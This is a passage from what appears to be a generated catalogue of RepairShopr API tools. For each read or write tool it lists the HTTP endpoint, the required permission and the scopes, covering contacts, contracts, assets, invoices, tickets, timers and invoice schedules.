- View Detail Single-Customer Users can only access own contacts. via GET /contacts GET /api/v1/repairshopr/contacts. Scopes: customers_view_detail. repairshopr_get_contacts_by_id (read) — Retrieves a Contact by ID -- Required permission: Customers - View Detail Single-Customer Users can only access own contacts. via GET /contacts/{id} GET /api/v1/repairshopr/contacts/{id}. Scopes: customers_view_detail. repairshopr_get_contracts (read) — Returns a paginated list of Contracts -- Required permission: Contracts - List/Search Every contract in the list carries the same covered-item fields as `GET /contracts/{id}`. Covered items are part of the contract payload: * `product_price_overrides` — the covered products with their contracted rate (`price_retail_cents` or `discount_percentage`) and their block-list status (`blacklisted`, meaning the product is billed separately from the contract). * `non_billable_product_ids` — products covered by the contract and therefore not billed on their own. * `schedule_ids` — the recurring invoice schedules this contract governs. Link a schedule to a contract by sending `contract_id` to the Schedule endpoints. via GET /contracts GET /api/v1/repairshopr/contracts. Scopes: contracts_list_search. repairshopr_get_contracts_by_id (read) — Retrieves a Contract by ID -- Required permission: Contracts - Edit Covered items are part of the contract payload: * `product_price_overrides` — the covered products with their contracted rate (`price_retail_cents` or `discount_percentage`) and their block-list status (`blacklisted`, meaning the product is billed separately from the contract). * `non_billable_product_ids` — products covered by the contract and therefore not billed on their own. * `schedule_ids` — the recurring invoice schedules this contract governs. Link a schedule to a contract by sending `contract_id` to the Schedule endpoints. via GET /contracts/{id} GET /api/v1/repairshopr/contracts/{id}. Scopes: contracts_edit. repairshopr_get_customer_assets (read) — Returns a paginated list of Assets -- Required permission: Assets - List/Search Single-Customer Users can only access own assets. via GET /customer_assets GET /api/v1/repairshopr/customer_assets. Scopes: assets_list_search. repairshopr_get_customer_assets_assets_by_contact_by_contact_id (read) — Returns a list of Assets for a specific contact -- Required permission: Assets - List/Search Returns a list of assets associated with a specific contact ID. via GET /customer_assets/assets_by_contact/{contact_id} GET /api/v1/repairshopr/customer_assets/assets_by_contact/{contact_id}. Scopes: assets_list_search. repairshopr_get_customer_assets_by_id (read) — Retrieves an Asset by ID -- Required permission: Assets - View Details Single-Customer Users can only access own assets. via GET /customer_assets/{id} GET /api/v1/repairshopr/customer_assets/{id}. Scopes: assets_view_details. repairshopr_get_customer_assets_by_id_installed_applications (read) — Retrieves installed applications for an Asset -- Required permission: Assets - List/Search Single-Customer Users can only access own assets. Returns a paginated list of software installed on the asset. The `installed_at` date falls back to `created_at` when no explicit installation date is recorded. via GET /customer_assets/{id}/installed_applications GET /api/v1/repairshopr/customer_assets/{id}/installed_applications. Scopes: assets_list_search. repairshopr_get_customer_assets_by_id_patches (read) — Retrieves Windows patch data for an Asset -- Required permission: Assets - List/Search Single-Customer Users can only access own assets. via GET /customer_assets/{id}/patches GET /api/v1/repairshopr/customer_assets/{id}/patches. Scopes: assets_list_search. repairshopr_get_customer_assets_chat_information_by_ids (read) — Retrieves Assets by ID -- Required permission: Assets - List/Search Single-Customer Users can only access own assets. via GET /customer_assets/chat_information_by_ids GET /api/v1/repairshopr/customer_assets/chat_information_by_ids. Scopes: assets_list_search. repairshopr_get_customers (read) — Returns a paginated list of customers -- Required permission: Customers - List/Search Single-Customer Users can only access own customer (self). via GET /customers GET /api/v1/repairshopr/customers. Scopes: customers_list_search. repairshopr_get_customers_autocomplete (read) — Returns a paginated list of customers for autocomplete query via GET /customers/autocomplete GET /api/v1/repairshopr/customers/autocomplete. Scopes: none. repairshopr_get_customers_by_customer_id_payment_profiles (read) — Returns a paginated list of Payment Profiles via GET /customers/{customer_id}/payment_profiles GET /api/v1/repairshopr/customers/{customer_id}/payment_profiles. Scopes: none. repairshopr_get_customers_by_customer_id_payment_profiles_by_id (read) — Retrieves a Payment Profile by ID via GET /customers/{customer_id}/payment_profiles/{id} GET /api/v1/repairshopr/customers/{customer_id}/payment_profiles/{id}. Scopes: none. repairshopr_get_customers_by_customer_id_phones (read) — Returns a paginated list of Phones -- Required permission: Customers - View Detail Single-Customer Users can only access own. via GET /customers/{customer_id}/phones GET /api/v1/repairshopr/customers/{customer_id}/phones. Scopes: customers_view_detail. repairshopr_get_customers_by_id (read) — Retrieves a Customer by ID -- Required permission: Customers - View Detail Single-Customer Users can only access own customer (self). via GET /customers/{id} GET /api/v1/repairshopr/customers/{id}. Scopes: customers_view_detail. repairshopr_get_customers_latest (read) — Returns latest Customer -- Required permission: Customers - Edit Single-Customer Users can only access own customer (self). via GET /customers/latest GET /api/v1/repairshopr/customers/latest. Scopes: customers_edit. repairshopr_get_estimates (read) — Returns a paginated list of Estimates -- Required permission: Estimates - List/Search via GET /estimates GET /api/v1/repairshopr/estimates. Scopes: estimates_list_search. repairshopr_get_estimates_by_id (read) — Retrieves an Estimate by ID or number -- Required permission: Estimates - View Details via GET /estimates/{id} GET /api/v1/repairshopr/estimates/{id}. Scopes: estimates_view_details. repairshopr_get_invoices (read) — Returns a paginated list of Invoices -- Required permission: Invoices - List/Search via GET /invoices GET /api/v1/repairshopr/invoices. Scopes: invoices_list_search. repairshopr_get_invoices_by_id (read) — Retrieves an Invoice by ID or Number -- Required permission: Invoices - View Details via GET /invoices/{id} GET /api/v1/repairshopr/invoices/{id}. Scopes: invoices_view_details. repairshopr_get_invoices_by_id_ticket (read) — Returns the associated ticket for an invoice -- Required permissions: "Invoices - View Details" and "Tickets - View Details" via GET /invoices/{id}/ticket GET /api/v1/repairshopr/invoices/{id}/ticket. Scopes: invoices_view_details, tickets_view_details. repairshopr_get_items (read) — Returns a paginated list of Part Orders -- Required permission: Parts Orders - List/Search via GET /items GET /api/v1/repairshopr/items. Scopes: parts_orders_list_search. repairshopr_get_leads (read) — Returns a paginated list of Leads -- Required permission: Leads - List/Search via GET /leads GET /api/v1/repairshopr/leads. Scopes: leads_list_search. repairshopr_get_leads_by_id (read) — Retrieves a Lead by ID -- Required permission: Leads - List/Search via GET /leads/{id} GET /api/v1/repairshopr/leads/{id}. Scopes: leads_list_search. repairshopr_get_line_items (read) — Returns a paginated list of Line Items -- Required permission: Global Admin via GET /line_items GET /api/v1/repairshopr/line_items. Scopes: global_admin. repairshopr_get_me (read) — Returns the current user via GET /me GET /api/v1/repairshopr/me. Scopes: none. repairshopr_get_new_ticket_forms (read) — Returns a paginated list of Ticket Forms -- Required permission: Ticket Workflows - Manage via GET /new_ticket_forms GET /api/v1/repairshopr/new_ticket_forms. Scopes: ticket_workflows_manage. repairshopr_get_new_ticket_forms_by_id (read) — Retrieves a Ticket Form -- Required permission: Tickets - Create via GET /new_ticket_forms/{id} GET /api/v1/repairshopr/new_ticket_forms/{id}. Scopes: tickets_create. repairshopr_get_payment_methods (read) — Returns a paginated list of Payment Methods -- All Users except Co-Managed Support Users may use this action. via GET /payment_methods GET /api/v1/repairshopr/payment_methods. Scopes: none. repairshopr_get_payments (read) — Returns a paginated list of Payments -- Required permission: Payments - View List via GET /payments GET /api/v1/repairshopr/payments. Scopes: payments_view_list. repairshopr_get_payments_by_id (read) — Retrieves a Payment by ID -- Required permission: Payments - View List via GET /payments/{id} GET /api/v1/repairshopr/payments/{id}. Scopes: payments_view_list. repairshopr_get_portal_users (read) — Returns a paginated list of Portal Users -- Required permission: Global Admin via GET /portal_users GET /api/v1/repairshopr/portal_users. Scopes: global_admin. repairshopr_get_products (read) — Returns a paginated list of Products -- Required permission: Products - List/Search via GET /products GET /api/v1/repairshopr/products. Scopes: products_list_search. repairshopr_get_products_barcode (read) — Returns a Product by Barcode -- Required permission: Products - List/Search via GET /products/barcode GET /api/v1/repairshopr/products/barcode. Scopes: products_list_search. repairshopr_get_products_by_id (read) — Retrieves a Product by ID -- Required permission: Products - List/Search via GET /products/{id} GET /api/v1/repairshopr/products/{id}. Scopes: products_list_search. repairshopr_get_products_by_product_id_product_serials (read) — Returns a paginated list of Product_serials -- Required permission: Products - List/Search via GET /products/{product_id}/product_serials GET /api/v1/repairshopr/products/{product_id}/product_serials. Scopes: products_list_search. repairshopr_get_products_by_product_id_product_skus (read) — Returns a list of Product SKUs -- Required permission: Products - List/Search via GET /products/{product_id}/product_skus GET /api/v1/repairshopr/products/{product_id}/product_skus. Scopes: products_list_search. repairshopr_get_products_categories (read) — Returns a paginated list of Product Categories -- Required permission: Products - List/Search via GET /products/categories GET /api/v1/repairshopr/products/categories. Scopes: products_list_search. repairshopr_get_purchase_orders (read) — Returns a paginated list of Purchase Orders -- Required permission: Purchase Orders - List/Search via GET /purchase_orders GET /api/v1/repairshopr/purchase_orders. Scopes: purchase_orders_list_search. repairshopr_get_purchase_orders_by_id (read) — Retrieves a Purchase Order by ID -- Required permission: Purchase Orders - View Details via GET /purchase_orders/{id} GET /api/v1/repairshopr/purchase_orders/{id}. Scopes: purchase_orders_view_details. repairshopr_get_rmm_alerts (read) — Returns a paginated list of RMM Alerts -- Required permission: RMM Alerts - List Single-Customer Users can only access own RMM Alerts. via GET /rmm_alerts GET /api/v1/repairshopr/rmm_alerts. Scopes: rmm_alerts_list. repairshopr_get_rmm_alerts_by_id (read) — Retrieves an RMM Alert by ID -- Required permission: RMM Alerts - List Single-Customer Users can only access own RMM Alerts. via GET /rmm_alerts/{id} GET /api/v1/repairshopr/rmm_alerts/{id}. Scopes: rmm_alerts_list. repairshopr_get_schedules (read) — Returns a paginated list of Invoice Schedules -- Required permission: Recurring Invoices - List via GET /schedules GET /api/v1/repairshopr/schedules. Scopes: recurring_invoices_list. repairshopr_get_schedules_by_id (read) — Retrieves a Schedule by ID -- Required permission: Recurring Invoices - List via GET /schedules/{id} GET /api/v1/repairshopr/schedules/{id}. Scopes: recurring_invoices_list. repairshopr_get_search (read) — Search all the things -- Additional permissions required depending on search results type: - Customer, Contact, Asset: "Customers - List/Search" - Lead: Leads - List/Search - Invoice: Invoices - List/Search - Estimate: Estimates - List/Search - Ticket: Tickets - List/Search - Product: Products - List/Search - Purchase Order, Vendor: Purchase Orders - List/Search - Report: Reports - View - Wiki: Documentation - Allow Usage via GET /search GET /api/v1/repairshopr/search. Scopes: none. repairshopr_get_settings (read) — Returns a list of Account Settings with rollout via GET /settings GET /api/v1/repairshopr/settings. Scopes: none. repairshopr_get_settings_printing (read) — Returns Printing Settings via GET /settings/printing GET /api/v1/repairshopr/settings/printing. Scopes: none. repairshopr_get_settings_tabs (read) — Returns Tabs Settings via GET /settings/tabs GET /api/v1/repairshopr/settings/tabs. Scopes: none. repairshopr_get_ticket_blueprints (read) — Returns a paginated list of Ticket Blueprints -- Required permission: Ticket Blueprints - Manage Returns only blueprints available for ticket creation (hidden_for_ticket_creation: false). via GET /ticket_blueprints GET /api/v1/repairshopr/ticket_blueprints. Scopes: ticket_blueprints_manage. repairshopr_get_ticket_comments (read) — Returns a paginated flat list of comments across multiple tickets -- Required permissions: "Tickets - View Details" or "Tickets - View 'Their Ticket' Details (assigned to them)" Returns a flat, paginated list of comments across multiple tickets sorted by ticket_id ASC, created_at DESC. All comments for a given ticket are adjacent in the response, with the newest comments first within each ticket. Comments can be scoped to specific tickets using a saved Ticket View (ticket_search_id) and/or direct ticket filters such as customer_id, status, etc. Comment-level date filters use the `comment_` prefix to distinguish them from the ticket-level date filters that share similar names (e.g. created_after). Single-Customer Users can only access comments for their own tickets. via GET /ticket_comments GET /api/v1/repairshopr/ticket_comments. Scopes: tickets_view_details. repairshopr_get_ticket_timers (read) — Returns a paginated list of Ticket Timers -- Required permission: Ticket Timers - Overview via GET /ticket_timers GET /api/v1/repairshopr/ticket_timers. Scopes: ticket_timers_overview. repairshopr_get_tickets (read) — Returns a paginated list of Tickets -- Required permission: Tickets - List/Search Single-Customer Users can only access own tickets. via GET /tickets GET /api/v1/repairshopr/tickets. Scopes: tickets_list_search. repairshopr_get_tickets_by_id (read) — Retrieves a Ticket by ID -- Required permissions: "Tickets - View Details" or "Tickets - View 'Their Ticket' Details (assigned to them)" Single-Customer Users can only access own tickets. via GET /tickets/{id} GET /api/v1/repairshopr/tickets/{id}. Scopes: tickets_view_details. repairshopr_get_tickets_by_id_comments (read) — Returns Comments for a Ticket -- Required permissions: "Tickets - View Details" or "Tickets - View 'Their Ticket' Details (assigned to them)" Single-Customer Users can only access comments for their own tickets. via GET /tickets/{id}/comments GET /api/v1/repairshopr/tickets/{id}/comments. Scopes: tickets_view_details. repairshopr_get_tickets_by_ticket_id_worksheet_results (read) — Returns a paginated list of Worksheet Results -- Required permissions: "Tickets - View Details" or "Tickets - View 'Their Ticket' Details (assigned to them)" Single-Customer Users can only access own tickets. via GET /tickets/{ticket_id}/worksheet_results GET /api/v1/repairshopr/tickets/{ticket_id}/worksheet_results. Scopes: tickets_view_details. repairshopr_get_tickets_by_ticket_id_worksheet_results_by_id (read) — Retrieves a Worksheet Result by ID -- Required permissions: "Tickets - View Details" or "Tickets - View 'Their Ticket' Details (assigned to them)" Single-Customer Users can only access own tickets. via GET /tickets/{ticket_id}/worksheet_results/{id} GET /api/v1/repairshopr/tickets/{ticket_id}/worksheet_results/{id}. Scopes: tickets_view_details. repairshopr_get_tickets_settings (read) — Returns Tickets Settings via GET /tickets/settings GET /api/v1/repairshopr/tickets/settings. Scopes: none. repairshopr_get_timelogs (read) — Returns a paginated list of Timelogs -- Users with permission "Timelogs - Manage" may see timelogs for any/all users. Otherwise, results scoped to current user. via GET /timelogs GET /api/v1/repairshopr/timelogs. Scopes: none. repairshopr_get_timelogs_last (read) — Returns last Timelog -- Users with permission "Timelogs - Manage" may see timelogs for any/all users. Otherwise, results scoped to current user. via GET /timelogs/last GET /api/v1/repairshopr/timelogs/last. Scopes: none. repairshopr_get_user_devices_by_id (read) — Retrieves an existing User Device by UUID via GET /user_devices/{id} GET /api/v1/repairshopr/user_devices/{id}. Scopes: none. repairshopr_get_users (read) — Returns a paginated list of Users via GET /users GET /api/v1/repairshopr/users. Scopes: none. repairshopr_get_users_by_id (read) — Retrieves an existing User by ID via GET /users/{id} GET /api/v1/repairshopr/users/{id}. Scopes: none. repairshopr_get_vendors (read) — Returns a paginated list of Vendors -- Required permission: Vendors - List via GET /vendors GET /api/v1/repairshopr/vendors. Scopes: vendors_list. repairshopr_get_vendors_by_id (read) — Retrieves a Vendor Page -- Required permission: Vendors - View Details via GET /vendors/{id} GET /api/v1/repairshopr/vendors/{id}. Scopes: vendors_view_details. repairshopr_get_wiki_pages (read) — Returns a paginated list of Wiki Pages -- Required permission: Documentation - Allow Usage via GET /wiki_pages GET /api/v1/repairshopr/wiki_pages. Scopes: documentation_allow_usage. repairshopr_get_wiki_pages_by_id (read) — Retrieves a Wiki Page -- Required permission: Documentation - Allow Usage via GET /wiki_pages/{id} GET /api/v1/repairshopr/wiki_pages/{id}. Scopes: documentation_allow_usage. repairshopr_patch_canned_responses_by_id (write) — Updates a Canned Response -- Required permission: Ticket Canned Responses - Manage via PATCH /canned_responses/{id} PATCH /api/v1/repairshopr/canned_responses/{id}. Scopes: ticket_canned_responses_manage. repairshopr_patch_ticket_timers_by_id (write) — Updates an existing Ticket Timer by ID -- Required permission: Ticket Timers - Overview via PATCH /ticket_timers/{id} PATCH /api/v1/repairshopr/ticket_timers/{id}. Scopes: ticket_timers_overview. repairshopr_post_appointment_types (write) — Creates an Appointment Type -- Required permission: Global Admin via POST /appointment_types POST /api/v1/repairshopr/appointment_types. Scopes: global_admin. repairshopr_post_appointments (write) — Creates an Appointment -- No special permissions required. via POST /appointments POST /api/v1/repairshopr/appointments. Scopes: none. repairshopr_post_canned_responses (write) — Creates a new Canned Response -- Required permission: Ticket Canned Responses - Manage via POST /canned_responses POST /api/v1/repairshopr/canned_responses. Scopes: ticket_canned_responses_manage. repairshopr_post_contacts (write) — Creates a Contact -- Required permission: Customers - Edit Single-Customer Users can only access own contacts. via POST /contacts POST /api/v1/repairshopr/contacts. Scopes: customers_edit. repairshopr_post_contracts (write) — Creates a Contract -- Required permission: Contracts - Edit A complete contract — top-level attributes, covered items with their contracted rates, the block-list and the non-billable products — is created in this one call. Covered items are part of the contract payload: * `product_price_overrides` — the covered products with their contracted rate (`price_retail_cents` or `discount_percentage`) and their block-list status (`blacklisted`, meaning the product is billed separately from the contract). * `non_billable_product_ids` — products covered by the contract and therefore not billed on their own. * `schedule_ids` — the recurring invoice schedules this contract governs. Link a schedule to a contract by sending `contract_id` to the Schedule endpoints. via POST /contracts POST /api/v1/repairshopr/contracts. Scopes: contracts_edit. repairshopr_post_customer_assets (write) — Creates an Asset -- Required permission: Assets - Create Single-Customer Users can only access own assets. via POST /customer_assets POST /api/v1/repairshopr/customer_assets. Scopes: assets_create. repairshopr_post_customers (write) — Creates a Customer -- Required permission: Customers - Create via POST /customers POST /api/v1/repairshopr/customers. Scopes: customers_create. repairshopr_post_customers_by_customer_id_payment_profiles (write) — Creates a Payment Profile via POST /customers/{customer_id}/payment_profiles POST /api/v1/repairshopr/customers/{customer_id}/payment_profiles. Scopes: none. repairshopr_post_customers_by_customer_id_phones (write) — Creates a Phone -- Required permission: Customers - Edit Single-Customer Users can only access own. via POST /customers/{customer_id}/phones POST /api/v1/repairshopr/customers/{customer_id}/phones. Scopes: customers_edit. repairshopr_post_estimates (write) — Creates an Estimate -- Required permission: Estimates - Create via POST /estimates POST /api/v1/repairshopr/estimates. Scopes: estimates_create. repairshopr_post_estimates_by_id_convert_to_invoice (write) — Convert an Estimate to an Invoice -- Required permissions: "Estimates - View Details" and "Invoices - Create" via POST /estimates/{id}/convert_to_invoice POST /api/v1/repairshopr/estimates/{id}/convert_to_invoice. Scopes: estimates_view_details, invoices_create. repairshopr_post_estimates_by_id_email (write) — Sends an Estimate to a Customer -- Required permission: Estimates - View Details via POST /estimates/{id}/email POST /api/v1/repairshopr/estimates/{id}/email. Scopes: estimates_view_details. repairshopr_post_estimates_by_id_line_items (write) — Adds a Line Item to an Estimate -- Required permission: Estimates - Edit via POST /estimates/{id}/line_items POST /api/v1/repairshopr/estimates/{id}/line_items. Scopes: estimates_edit. repairshopr_post_estimates_by_id_print (write) — Queues a print job for an Estimate -- Required permission: Estimates - View Details via POST /estimates/{id}/print POST /api/v1/repairshopr/estimates/{id}/print. Scopes: estimates_view_details. repairshopr_post_invoices (write) — Creates an Invoice -- Required permission: Invoices - Create `subtotal`, `total`, `tax`, `balance_due`, `is_paid`, `verified_paid`, `tech_marked_paid`, `pdf_url`, `customer_business_then_name` and `hardwarecost` are computed from the line items and payments. They are returned on every response but ignored in a request; this endpoint has never accepted them. via POST /invoices POST /api/v1/repairshopr/invoices. Scopes: invoices_create. repairshopr_post_invoices_by_id_email (write) — Sends invoice to customer -- Required permission: Invoices - View Details via POST /invoices/{id}/email POST /api/v1/repairshopr/invoices/{id}/email. Scopes: invoices_view_details. repairshopr_post_invoices_by_id_line_items (write) — Creates a new line item -- Required permission: Invoices - Edit via POST /invoices/{id}/line_items POST /api/v1/repairshopr/invoices/{id}/line_items. Scopes: invoices_edit. repairshopr_post_invoices_by_id_print (write) — Queues a print job for an invoice -- Required permission: Invoices - View Details via POST /invoices/{id}/print POST /api/v1/repairshopr/invoices/{id}/print. Scopes: invoices_view_details. repairshopr_post_leads (write) — Creates a Lead -- Required permission: None via POST /leads POST /api/v1/repairshopr/leads. Scopes: none. repairshopr_post_new_ticket_forms_by_id_process_form (write) — Creates a new Ticket for a Ticket Form -- Required permission: Tickets - Create via POST /new_ticket_forms/{id}/process_form POST /api/v1/repairshopr/new_ticket_forms/{id}/process_form. Scopes: tickets_create. repairshopr_post_otp_login (write) — Authorize a User with One Time Password via POST /otp_login POST /api/v1/repairshopr/otp_login. Scopes: none. repairshopr_post_payments (write) — Creates a Payment -- Required permission: Payments - Create via POST /payments POST /api/v1/repairshopr/payments. Scopes: payments_create. repairshopr_post_portal_users (write) — Creates a Portal User -- Required permission: Global Admin via POST /portal_users POST /api/v1/repairshopr/portal_users. Scopes: global_admin. repairshopr_post_portal_users_create_invitation (write) — Creates an Invitation for a Portal User -- Required permission: Global Admin via POST /portal_users/create_invitation POST /api/v1/repairshopr/portal_users/create_invitation. Scopes: global_admin. repairshopr_post_products (write) — Creates a Product -- Required permission: Products - Create via POST /products POST /api/v1/repairshopr/products. Scopes: products_create. repairshopr_post_products_by_id_add_images (write) — Creates a Product Image -- Required permission: Products - Edit via POST /products/{id}/add_images POST /api/v1/repairshopr/products/{id}/add_images. Scopes: products_edit. repairshopr_post_products_by_product_id_product_serials (write) — Creates a Product Serial -- Required permission: Products - Edit via POST /products/{product_id}/product_serials POST /api/v1/repairshopr/products/{product_id}/product_serials. Scopes: products_edit. repairshopr_post_products_by_product_id_product_serials_attach_to_line_item (write) — Adds Product Serials to a Line Item -- Required permission: Products - List/Search Additional permissions required depending on "record_type": - LineItem: "Invoices - Edit" or "Estimates - Edit" - TicketLineItem: Tickets - Edit via POST /products/{product_id}/product_serials/attach_to_line_item POST /api/v1/repairshopr/products/{product_id}/product_serials/attach_to_line_item. Scopes: products_list_search. repairshopr_post_products_by_product_id_product_skus (write) — Creates a Product SKU -- Required permission: Products - Edit via POST /products/{product_id}/product_skus POST /api/v1/repairshopr/products/{product_id}/product_skus. Scopes: products_edit. repairshopr_post_purchase_orders (write) — Creates a Purchase Order -- Required permission: Purchase Orders - Edit via POST /purchase_orders POST /api/v1/repairshopr/purchase_orders. Scopes: purchase_orders_edit. repairshopr_post_purchase_orders_by_id_create_po_line_item (write) — Adds a Product to a Purchase Order -- Required permission: Purchase Orders - Edit via POST /purchase_orders/{id}/create_po_line_item POST /api/v1/repairshopr/purchase_orders/{id}/create_po_line_item. Scopes: purchase_orders_edit. repairshopr_post_purchase_orders_by_id_receive (write) — receive purchase_order -- Required permission: Purchase Orders - Edit via POST /purchase_orders/{id}/receive POST /api/v1/repairshopr/purchase_orders/{id}/receive. Scopes: purchase_orders_edit. repairshopr_post_rmm_alerts (write) — Creates an RMM Alert -- Required permission: RMM Alerts - Create Single-Customer Users can only access own RMM Alerts. via POST /rmm_alerts POST /api/v1/repairshopr/rmm_alerts. Scopes: rmm_alerts_create. repairshopr_post_rmm_alerts_by_id_mute (write) — Mutes an RMM Alert by ID -- Required permission: RMM Alerts - Clear/Manage Single-Customer Users can only access own RMM Alerts. via POST /rmm_alerts/{id}/mute POST /api/v1/repairshopr/rmm_alerts/{id}/mute. Scopes: rmm_alerts_clear_manage. repairshopr_post_rmm_public_scripts_by_asset_id_schedule (write) — Schedules a Script on an Asset -- Required permission: Scripts - Execute Single-Customer Users can only access own assets. via POST /rmm/public_scripts/{asset_id}/schedule POST /api/v1/repairshopr/rmm/public_scripts/{asset_id}/schedule. Scopes: scripts_execute. repairshopr_post_schedules (write) — Creates an Invoice Schedule -- Required permission: Recurring Invoices - New Accepts every settable field on a schedule, so a schedule can be fully configured in one call. Add its line items afterwards with `POST /schedules/{id}/line_items`, or seed them from an existing invoice by passing `invoice_id`. `id`, `account_id`, `created_at`, `updated_at` and `last_run` are read-only. So are `subscription_status` and `recurring_type_id`, which are maintained for you: the first is recomputed from the linked contract and the unpaid invoice count on every run, and the second is what selects the billing engine for the whole schedule. Every id in the request is checked against your account before anything is written, so a rejected request changes nothing. Errors come back as `{"error": ["Location can't be found", ...]}` with status 422. via POST /schedules POST /api/v1/repairshopr/schedules. Scopes: recurring_invoices_new. repairshopr_post_schedules_by_id_add_line_item (write) — Adds a Line Item to an Invoice Schedule (deprecated) -- Required permission: Recurring Invoices - Edit **Deprecated.** Identical to `POST /schedules/{id}/line_items`, which matches the Invoice and Estimate APIs. Kept for existing integrations; use the nested route instead. via POST /schedules/{id}/add_line_item POST /api/v1/repairshopr/schedules/{id}/add_line_item. Scopes: recurring_invoices_edit. repairshopr_post_schedules_by_id_line_items (write) — Adds a Line Item to an Invoice Schedule -- Required permission: Recurring Invoices - Edit Most fields only apply to one kind of line, chosen with `recurring_type_id`; the descriptions say which. `POST /schedules/{id}/add_line_item` is an older alias for this endpoint and behaves identically. via POST /schedules/{id}/line_items POST /api/v1/repairshopr/schedules/{id}/line_items. Scopes: recurring_invoices_edit. repairshopr_post_schedules_by_id_remove_line_item (write) — Removes a Line Item from an Invoice Schedule (deprecated) -- Required permission: Recurring Invoices - Edit **Deprecated.** Identical to `DELETE /schedules/{id}/line_items/{schedule_line_item_id}`, which matches the Invoice and Estimate APIs. Kept for existing integrations; use the nested route instead. via POST /schedules/{id}/remove_line_item POST /api/v1/repairshopr/schedules/{id}/remove_line_item. Scopes: recurring_invoices_edit. repairshopr_post_ticket_blueprints_by_id_apply (write) — Creates tickets from a Blueprint -- Required permission: Ticket Blueprints - Create Ticket From Blueprint Creates a parent ticket and child tickets from the blueprint, assigned to the given customer. Returns the parent ticket ID and array of child ticket IDs. via POST /ticket_blueprints/{id}/apply POST /api/v1/repairshopr/ticket_blueprints/{id}/apply. Scopes: ticket_blueprints_create_ticket_from_blueprint. repairshopr_post_ticket_timers (write) — Creates a Ticket Timer that starts running -- Required permission: Ticket Timers - Overview Creates a Ticket Timer that starts directly in status_running (start_time is set to now, end_time is left unset). The timer always belongs to the authenticated technician — any client-supplied user_id is ignored. A technician holds at most one active timer per ticket. If they already have a running or paused timer on the ticket it is resumed and returned with a 200 rather than a second timer being created, and the request body is ignored. An omitted or null `billable` resolves to the account's "time is non-billable by default" setting, matching the Web App. via POST /ticket_timers POST /api/v1/repairshopr/ticket_timers. Scopes: ticket_timers_overview. repairshopr_post_ticket_timers_by_id_pause (write) — Pauses a running Ticket Timer -- Required permission: Ticket Timers - Overview Pauses a running Ticket Timer. Returns a 422 if the timer is not currently running. via POST /ticket_timers/{id}/pause POST /api/v1/repairshopr/ticket_timers/{id}/pause. Scopes: ticket_timers_overview. repairshopr_post_ticket_timers_by_id_start (write) — Starts (or resumes a paused) Ticket Timer -- Required permission: Ticket Timers - Overview Starts a Ticket Timer that has never been started, or resumes a paused one. Returns a 422 if the timer is already running or has been stopped. via POST /ticket_timers/{id}/start POST /api/v1/repairshopr/ticket_timers/{id}/start. Scopes: ticket_timers_overview. repairshopr_post_ticket_timers_by_id_stop (write) — Stops a running or paused Ticket Timer -- Required permission: Ticket Timers - Overview Stops a running or paused Ticket Timer. Returns a 422 if the timer is already stopped. If the account has `ticket_timer_charge_by_default` enabled, this also creates the ticket line item for the charged time. via POST /ticket_timers/{id}/stop POST /api/v1/repairshopr/ticket_timers/{id}/stop. Scopes: ticket_timers_overview. repairshopr_post_tickets (write) — Creates a Ticket -- Required permission: Tickets - Create Sending `parent_id` additionally requires: Ticket Parent-Child - Edit. Requests that send it without that permission, or on an account without parent/child tickets enabled, are rejected with 403. Single-Customer Users can only access own tickets. via POST /tickets POST /api/v1/repairshopr/tickets. Scopes: tickets_create. repairshopr_post_tickets_by_id_add_line_item (write) — Creates a Ticket Line Item -- Required permission: Tickets - Edit Single-Customer Users can only access own tickets. via POST /tickets/{id}/add_line_item POST /api/v1/repairshopr/tickets/{id}/add_line_item. Scopes: tickets_edit. repairshopr_post_tickets_by_id_attach_file_url (write) — Attach a file to a Ticket -- Required permission: Tickets - Edit Single-Customer Users can only access own tickets. via POST /tickets/{id}/attach_file_url POST /api/v1/repairshopr/tickets/{id}/attach_file_url. Scopes: tickets_edit. repairshopr_post_tickets_by_id_charge_timer_entry (write) — Charges a Ticket Timer -- Required permission: Ticket Timers - Overview via POST /tickets/{id}/charge_timer_entry POST /api/v1/repairshopr/tickets/{id}/charge_timer_entry. Scopes: ticket_timers_overview. repairshopr_post_tickets_by_id_comment (write) — Adds a Comment to a Ticket -- Required permission: Tickets - Edit Single-Customer Users can only access own tickets. via POST /tickets/{id}/comment POST /api/v1/repairshopr/tickets/{id}/comment. Scopes: tickets_edit. repairshopr_post_tickets_by_id_delete_attachment (write) — Deletes a Ticket Attachment -- Required permission: Tickets - Edit Single-Customer Users can only access own tickets. via POST /tickets/{id}/delete_attachment POST /api/v1/repairshopr/tickets/{id}/delete_attachment. Scopes: tickets_edit. repairshopr_post_tickets_by_id_delete_timer_entry (write) — Deletes a Ticket Timer -- Required permission: Ticket Timers - Overview via POST /tickets/{id}/delete_timer_entry POST /api/v1/repairshopr/tickets/{id}/delete_timer_entry. Scopes: ticket_timers_overview. repairshopr_post_tickets_by_id_print (write) — Prints a Ticket by ID -- Required permission: Tickets - View Details Single-Customer Users can only access own tickets. via POST /tickets/{id}/print POST /api/v1/repairshopr/tickets/{id}/print. Scopes: tickets_view_details. repairshopr_post_tickets_by_id_remove_line_item (write) — Deletes a Ticket Line Item -- Required permission: Tickets - Edit Single-Customer Users can only access own tickets. via POST /tickets/{id}/remove_line_item POST /api/v1/repairshopr/tickets/{id}/remove_line_item. Scopes: tickets_edit. repairshopr_post_tickets_by_id_timer_entry (write) — Create a Ticket Timer for a Ticket -- Required permission: Ticket Timers - Overview via POST /tickets/{id}/timer_entry POST /api/v1/repairshopr/tickets/{id}/timer_entry. Scopes: ticket_timers_overview. repairshopr_post_tickets_by_ticket_id_worksheet_results (write) — Creates Worksheet Result -- Required permissions: "Tickets - View Details" or "Tickets - View 'Their Ticket' Details (assigned to them)" Single-Customer Users can only access own tickets. via POST /tickets/{ticket_id}/worksheet_results POST /api/v1/repairshopr/tickets/{ticket_id}/worksheet_results. Scopes: tickets_view_details. repairshopr_post_user_devices (write) — Creates a User Device via POST /user_devices POST /api/v1/repairshopr/user_devices. Scopes: none. repairshopr_post_vendors (write) — Creates a Vendor -- Required permission: Vendors - New via POST /vendors POST /api/v1/repairshopr/vendors. Scopes: vendors_new. repairshopr_post_wiki_pages (write) — Creates a Wiki Page -- Required permission: Documentation - Create via POST /wiki_pages POST /api/v1/repairshopr/wiki_pages. Scopes: documentation_create. repairshopr_put_appointment_types_by_id (write) — Updates an existing Appointment Type by ID -- Required permission: Global Admin via PUT /appointment_types/{id} PUT /api/v1/repairshopr/appointment_types/{id}. Scopes: global_admin. repairshopr_put_appointments_by_id (write) — Updates an existing Appointment by ID -- No special permissions required. via PUT /appointments/{id} PUT /api/v1/repairshopr/appointments/{id}. Scopes: none. 